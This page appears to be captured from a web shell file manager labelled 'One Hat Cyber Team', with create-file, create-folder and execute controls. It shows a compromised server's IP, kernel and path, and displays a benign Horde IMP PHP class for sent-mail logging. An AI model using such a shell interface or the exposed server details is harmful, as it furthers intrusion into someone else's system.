⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
lib
/
Sentmail
/
View File Name :
Sql.php
* @author Michael Slusarz
* @category Horde * @copyright 2010-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ class IMP_Sentmail_Sql extends IMP_Sentmail { /** * Handle for the current database connection. * * @var Horde_Db_Adapter */ protected $_db; /** * @param array $params Parameters: * - db: (Horde_Db_Adapter) [REQUIRED] The DB instance. * - table: (string) The name of the sentmail table. * DEFAULT: 'imp_sentmail' */ public function __construct(array $params = array()) { if (!isset($params['db'])) { throw new IMP_Exception('Missing db parameter.'); } $this->_db = $params['db']; unset($params['db']); $params = array_merge(array( 'table' => 'imp_sentmail' ), $params); parent::__construct($params); } /** */ protected function _log($action, $message_id, $recipient, $success) { /* Build the SQL query. */ $query = sprintf('INSERT INTO %s (sentmail_who, sentmail_ts, sentmail_messageid, sentmail_action, sentmail_recipient, sentmail_success) VALUES (?, ?, ?, ?, ?, ?)', $this->_params['table']); $values = array( $GLOBALS['registry']->getAuth(), time(), $message_id, $action, $recipient, intval($success) ); /* Execute the query. */ try { $this->_db->insert($query, $values); } catch (Horde_Db_Exception $e) {} } /** */ public function favouriteRecipients($limit, $filter = null) { /* Build the SQL query. */ $where = ''; if (!empty($filter)) { $filter = array_map(array($this->_db, 'quote'), $filter); $where = sprintf(' AND sentmail_action in (%s)', implode(', ', $filter)); } $query = sprintf('SELECT sentmail_recipient, count(*) AS sentmail_count FROM %s WHERE sentmail_who = %s AND sentmail_success = 1%s GROUP BY sentmail_recipient ORDER BY sentmail_count DESC', $this->_params['table'], $this->_db->quote($GLOBALS['registry']->getAuth()), $where); /* Execute the query. */ try { $query = $this->_db->addLimitOffset($query, array('limit' => $limit)); return $this->_db->selectValues($query); } catch (Horde_Db_Exception $e) { return array(); } } /** */ public function numberOfRecipients($hours, $user = false) { /* Build the SQL query. */ $query = sprintf( 'SELECT COUNT(*) FROM %s WHERE sentmail_ts > ? AND sentmail_success = 1', $this->_params['table'] ); if ($user) { $query .= sprintf(' AND sentmail_who = %s', $this->_db->quote($GLOBALS['registry']->getAuth())); } /* Execute the query. */ try { return $this->_db->selectValue($query, array(time() - $hours * 3600)); } catch (Horde_Db_Exception $e) { return 0; } } /** */ protected function _deleteOldEntries($before) { /* Build the SQL query. */ $query = sprintf('DELETE FROM %s WHERE sentmail_ts < ?', $this->_params['table']); /* Execute the query. */ try { $this->_db->delete($query, array($before)); } catch (Horde_Db_Exception $e) {} } }